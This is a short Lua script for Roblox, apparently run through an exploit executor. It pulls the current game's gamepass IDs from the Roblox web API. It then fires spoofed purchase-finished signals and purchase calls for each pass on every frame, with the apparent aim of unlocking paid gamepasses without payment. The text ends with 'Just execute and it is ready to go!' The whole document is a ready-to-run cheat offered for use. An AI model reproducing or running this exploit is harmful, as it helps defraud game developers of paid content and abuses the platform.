GamepassIDs = {}
for index, ReturnData in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/" .. game.GameId .. "/game-passes?sortOrder=Asc&limit=50"))) do
for index, Gamepass in pairs(ReturnData) do
for field, value in pairs(Gamepass) do
if field == "id" then
table.insert(GamepassIDs, value)
end
end
end
end
game:GetService("RunService").Stepped:connect(function()
for index,GamepassID in pairs(GamepassIDs) do
game:GetService("MarketplaceService"):SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, GamepassID, true)
game:GetService("MarketplaceService"):PerformPurchase(Enum.InfoType.Asset, game:GetService("MarketplaceService"):GetProductInfo(GamepassID, Enum.InfoType.GamePass)["ProductId"], game:GetService("MarketplaceService"):GetProductInfo(GamepassID, Enum.InfoType.GamePass)["PriceInRobux"], game:GetService("HttpService"):GenerateGUID(false))
end
end)

Just execute and it is ready to go!